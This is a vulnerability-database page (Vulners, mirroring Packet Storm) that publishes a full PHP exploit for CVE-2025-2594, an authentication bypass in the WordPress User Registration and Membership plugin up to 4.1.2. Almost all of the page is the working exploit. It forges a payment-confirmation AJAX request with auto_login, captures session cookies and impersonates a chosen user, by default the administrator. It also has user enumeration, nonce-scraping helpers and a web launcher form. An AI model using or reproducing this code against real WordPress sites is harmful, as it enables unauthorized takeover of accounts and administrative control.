Lucene search
K

📄 WordPress User Registration and Membership 4.1.2 Authentication Bypass

🗓️ 06 Feb 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 131 Views

WordPress User Registration and Membership version 4.1.2 has an authentication bypass that allows unauthorized access.

Related
Code
=============================================================================================================================================
    | # Title     : WordPress User Registration and Membership 4.1.2 authentication bypass vulnerability                                        |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits)                                                            |
    | # Vendor    : https://wordpress.org/plugins/user-registration/                                                                            |
    =============================================================================================================================================
    
    [+] References :  https://packetstorm.news/files/id/195337/ &  CVE-2025-2594
    
    [+] Summary : 
                 WordPress User Registration & Membership Plugin versions 4.1.2 and below contain a critical authentication bypass vulnerability 
    			 that allows unauthenticated attackers to gain unauthorized access to user accounts, 
    			 including administrative privileges, by exploiting improper access control in the payment confirmation functionality.
    			 
    [+]  POC : 
    
    php poc.php 
    
    <?php
    
    class WordPressUserRegistrationExploit {
        
        private $target_url;
        private $member_id;
        private $nonce;
        private $user_agent;
        
        public function __construct($target_url, $member_id, $nonce) {
            $this->target_url = rtrim($target_url, '/');
            $this->member_id = $member_id;
            $this->nonce = $nonce;
            $this->user_agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36';
        }
        
        public function banner() {
            echo "┌──────────────────────────────────────────────┐\n";
            echo "│ WordPress Plugin User Registration <= 4.1.2   │\n";
            echo "│ Authentication Bypass Exploit (CVE-2025-2594)│\n";
            echo "│ PHP Port by indoushka                        │\n";
            echo "└──────────────────────────────────────────────┘\n\n";
        }
        
        public function exploit() {
            $this->banner();
            
            $endpoint = $this->target_url . '/wp-admin/admin-ajax.php';
            
            echo "[+] Target URL: {$endpoint}\n";
            echo "[+] Member ID: {$this->member_id}\n";
            echo "[+] Nonce: {$this->nonce}\n";
            echo "[+] Attempting authentication bypass...\n\n";
            
            $post_data = [
                'action' => 'user_registration_membership_confirm_payment',
                'security' => $this->nonce,
                'form_response' => '{"auto_login": true}',
                'member_id' => $this->member_id
            ];
            
            $ch = curl_init();
            
            curl_setopt_array($ch, [
                CURLOPT_URL => $endpoint,
                CURLOPT_POST => true,
                CURLOPT_POSTFIELDS => $post_data,
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_USERAGENT => $this->user_agent,
                CURLOPT_TIMEOUT => 10,
                CURLOPT_SSL_VERIFYPEER => false,
                CURLOPT_SSL_VERIFYHOST => false,
                CURLOPT_FOLLOWLOCATION => true,
                CURLOPT_HEADER => true
            ]);
            
            $response = curl_exec($ch);
            $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            $error = curl_error($ch);
            
            curl_close($ch);
            
            if ($error) {
                echo "[-] Request failed: {$error}\n";
                return false;
            }
            
            // Extract response body
            $header_size = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
            $headers = substr($response, 0, $header_size);
            $body = substr($response, $header_size);
            
            echo "[*] HTTP Status Code: {$http_code}\n";
            
            if ($http_code == 200 && strpos($body, '"success":true') !== false) {
                echo "[✓] EXPLOIT SUCCESSFUL! Authentication bypass achieved.\n";
                echo "[!] Check your session/cookies - you may now be authenticated as the target user.\n\n";
                
                // Extract cookies from headers
                $this->extract_cookies($headers);
                
                echo "Server Response:\n";
                echo $body . "\n";
                
                return true;
            } else {
                echo "[-] Exploit failed or invalid nonce/member_id.\n";
                echo "Server Response:\n";
                echo $body . "\n";
                
                return false;
            }
        }
        
        private function extract_cookies($headers) {
            if (preg_match_all('/Set-Cookie:\s*([^;]+)/i', $headers, $matches)) {
                echo "[+] Cookies received:\n";
                foreach ($matches[1] as $cookie) {
                    echo "    {$cookie}\n";
                }
                echo "\n";
            }
        }
        
        public function test_connectivity() {
            echo "[*] Testing connectivity to target...\n";
            
            $ch = curl_init($this->target_url);
            curl_setopt_array($ch, [
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_TIMEOUT => 5,
                CURLOPT_USERAGENT => $this->user_agent
            ]);
            
            $response = curl_exec($ch);
            $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            
            curl_close($ch);
            
            if ($http_code == 200) {
                echo "[+] Target is accessible\n";
                return true;
            } else {
                echo "[-] Target may not be accessible (HTTP {$http_code})\n";
                return false;
            }
        }
    }
    
    class NonceExtractor {
        
        public static function extract_nonce_from_page($target_url) {
            echo "[*] Attempting to extract nonce from registration page...\n";
            
            $url = rtrim($target_url, '/') . '/wp-admin/admin-ajax.php';
            $test_data = [
                'action' => 'user_registration_membership_confirm_payment',
                'security' => 'test',
                'member_id' => '1'
            ];
            
            $ch = curl_init();
            curl_setopt_array($ch, [
                CURLOPT_URL => $url,
                CURLOPT_POST => true,
                CURLOPT_POSTFIELDS => $test_data,
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_TIMEOUT => 10
            ]);
            
            $response = curl_exec($ch);
            curl_close($ch);
            
            // Look for nonce in error messages
            if (preg_match('/nonce[^"]*["\']([a-f0-9]+)/i', $response, $matches)) {
                echo "[+] Possible nonce found: {$matches[1]}\n";
                return $matches[1];
            }
            
            echo "[-] Could not automatically extract nonce\n";
            return null;
        }
    }
    
    class WordPressUserEnumerator {
        
        public static function enumerate_users($target_url) {
            echo "[*] Attempting to enumerate users...\n";
            
            $methods = [
                '/wp-json/wp/v2/users',
                '/?author=1',
                '/wp-json/oembed/1.0/embed?url=' . urlencode($target_url)
            ];
            
            foreach ($methods as $method) {
                $url = $target_url . $method;
                $ch = curl_init($url);
                curl_setopt_array($ch, [
                    CURLOPT_RETURNTRANSFER => true,
                    CURLOPT_TIMEOUT => 5
                ]);
                
                $response = curl_exec($ch);
                $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
                curl_close($ch);
                
                if ($http_code == 200) {
                    echo "[+] User enumeration possible via: {$method}\n";
                    
                    // Try to extract user IDs
                    if (preg_match_all('/"id":\s*(\d+)/', $response, $matches)) {
                        echo "[+] Found user IDs: " . implode(', ', $matches[1]) . "\n";
                        return $matches[1];
                    }
                }
            }
            
            echo "[-] Could not enumerate users automatically\n";
            echo "[*] Common user IDs to try: 1 (admin), 2 (first user)\n";
            return [1, 2];
        }
    }
    
    // Command line interface
    if (php_sapi_name() === 'cli' && isset($argv[0]) && basename($argv[0]) === basename(__FILE__)) {
        
        if ($argc < 4) {
            echo "WordPress User Registration Plugin <= 4.1.2 Authentication Bypass (CVE-2025-2594)\n";
            echo "==================================================================================\n";
            echo "Usage: php " . $argv[0] . " <target_url> <member_id> <nonce>\n";
            echo "Example: php " . $argv[0] . " http://localhost/wordpress 1 abc123def456\n";
            echo "\nAdditional options:\n";
            echo "AUTO_NONCE=true - Attempt to automatically extract nonce\n";
            echo "ENUMERATE_USERS=true - Attempt to enumerate users first\n";
            echo "\nTo get the nonce:\n";
            echo "1. Visit the user registration page\n";
            echo "2. Look for '_confirm_payment_nonce' in the page source\n";
            echo "3. Or check network requests for 'security' parameter\n";
            exit(1);
        }
        
        $target_url = $argv[1];
        $member_id = $argv[2];
        $nonce = $argv[3];
        
        $auto_nonce = getenv('AUTO_NONCE') === 'true';
        $enumerate_users = getenv('ENUMERATE_USERS') === 'true';
        
        try {
            $exploit = new WordPressUserRegistrationExploit($target_url, $member_id, $nonce);
            
            // Test connectivity first
            if (!$exploit->test_connectivity()) {
                exit(1);
            }
            
            // Auto-enumerate users if requested
            if ($enumerate_users) {
                $user_ids = WordPressUserEnumerator::enumerate_users($target_url);
                echo "\n";
            }
            
            // Auto-extract nonce if requested
            if ($auto_nonce && empty($nonce)) {
                $extracted_nonce = NonceExtractor::extract_nonce_from_page($target_url);
                if ($extracted_nonce) {
                    $exploit = new WordPressUserRegistrationExploit($target_url, $member_id, $extracted_nonce);
                }
                echo "\n";
            }
            
            // Execute the exploit
            $success = $exploit->exploit();
            
            if ($success) {
                echo "\n[+] Next steps:\n";
                echo "   1. Check if you're logged in by visiting {$target_url}/wp-admin/\n";
                echo "   2. Use the session cookies for further access\n";
                echo "   3. Consider changing passwords and checking user privileges\n";
            }
            
        } catch (Exception $e) {
            echo "[-] Error: " . $e->getMessage() . "\n";
            exit(1);
        }
    }
    
    // Web interface for the exploit
    if (isset($_GET['web']) && $_GET['web'] === 'true') {
        ?>
        <!DOCTYPE html>
        <html>
        <head>
            <title>WordPress User Registration Auth Bypass (CVE-2025-2594)</title>
            <style>
                body { font-family: Arial, sans-serif; margin: 40px; background: #f4f4f4; }
                .container { max-width: 800px; margin: 0 auto; background: white; padding: 30px; border-radius: 10px; box-shadow: 0 0 10px rgba(0,0,0,0.1); }
                h1 { color: #333; border-bottom: 2px solid #0073aa; padding-bottom: 10px; }
                .form-group { margin: 20px 0; }
                label { display: block; margin-bottom: 5px; font-weight: bold; color: #555; }
                input[type="text"] { padding: 10px; width: 100%; border: 1px solid #ddd; border-radius: 4px; font-size: 16px; }
                button { background: #0073aa; color: white; padding: 12px 30px; border: none; border-radius: 4px; cursor: pointer; font-size: 16px; }
                button:hover { background: #005a87; }
                .output { background: #f8f8f8; padding: 15px; border-radius: 4px; margin: 20px 0; white-space: pre-wrap; font-family: monospace; }
                .success { color: green; font-weight: bold; }
                .error { color: red; font-weight: bold; }
                .info { color: #0073aa; }
            </style>
        </head>
        <body>
            <div class="container">
                <h1>WordPress User Registration Auth Bypass (CVE-2025-2594)</h1>
                
                <?php
                if ($_POST['exploit'] ?? false) {
                    $target_url = $_POST['target_url'] ?? '';
                    $member_id = $_POST['member_id'] ?? '1';
                    $nonce = $_POST['nonce'] ?? '';
                    
                    if (!empty($target_url) && !empty($nonce)) {
                        echo '<div class="output">';
                        try {
                            $exploit = new WordPressUserRegistrationExploit($target_url, $member_id, $nonce);
                            $success = $exploit->exploit();
                            
                            if ($success) {
                                echo '<p class="success">Exploit successful! Check your browser cookies.</p>';
                            }
                        } catch (Exception $e) {
                            echo '<p class="error">Error: ' . $e->getMessage() . '</p>';
                        }
                        echo '</div>';
                    } else {
                        echo '<p class="error">Please fill all required fields</p>';
                    }
                }
                ?>
                
                <form method="post">
                    <input type="hidden" name="exploit" value="true">
                    
                    <div class="form-group">
                        <label for="target_url">WordPress Site URL:</label>
                        <input type="text" id="target_url" name="target_url" placeholder="https://example.com/wordpress" required>
                    </div>
                    
                    <div class="form-group">
                        <label for="member_id">User ID to Impersonate:</label>
                        <input type="text" id="member_id" name="member_id" value="1" required>
                        <small style="color: #666;">Usually 1 for admin, 2 for first user</small>
                    </div>
                    
                    <div class="form-group">
                        <label for="nonce">Security Nonce:</label>
                        <input type="text" id="nonce" name="nonce" placeholder="_confirm_payment_nonce value" required>
                        <small style="color: #666;">Find this in page source or network requests</small>
                    </div>
                    
                    <button type="submit">Execute Exploit</button>
                </form>
                
                <div style="margin-top: 30px; padding: 15px; background: #fff3cd; border-radius: 4px;">
                    <h3>How to Find the Nonce:</h3>
                    <ol>
                        <li>Visit the WordPress user registration page</li>
                        <li>Open browser developer tools (F12)</li>
                        <li>Search for "_confirm_payment_nonce" in page source</li>
                        <li>Or check Network tab for "security" parameter in AJAX requests</li>
                    </ol>
                    
                    <h3>About CVE-2025-2594:</h3>
                    <p>This vulnerability affects User Registration & Membership Plugin <= 4.1.2 and allows authentication bypass through improper access control in the payment confirmation functionality.</p>
                </div>
            </div>
        </body>
        </html>
        <?php
        exit;
    }
    
    ?>
    
    
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

06 Feb 2026 00:00Current
5.5Medium risk
Vulners AI Score5.5
CVSS 3.18.1
EPSS0.28447
SSVC
131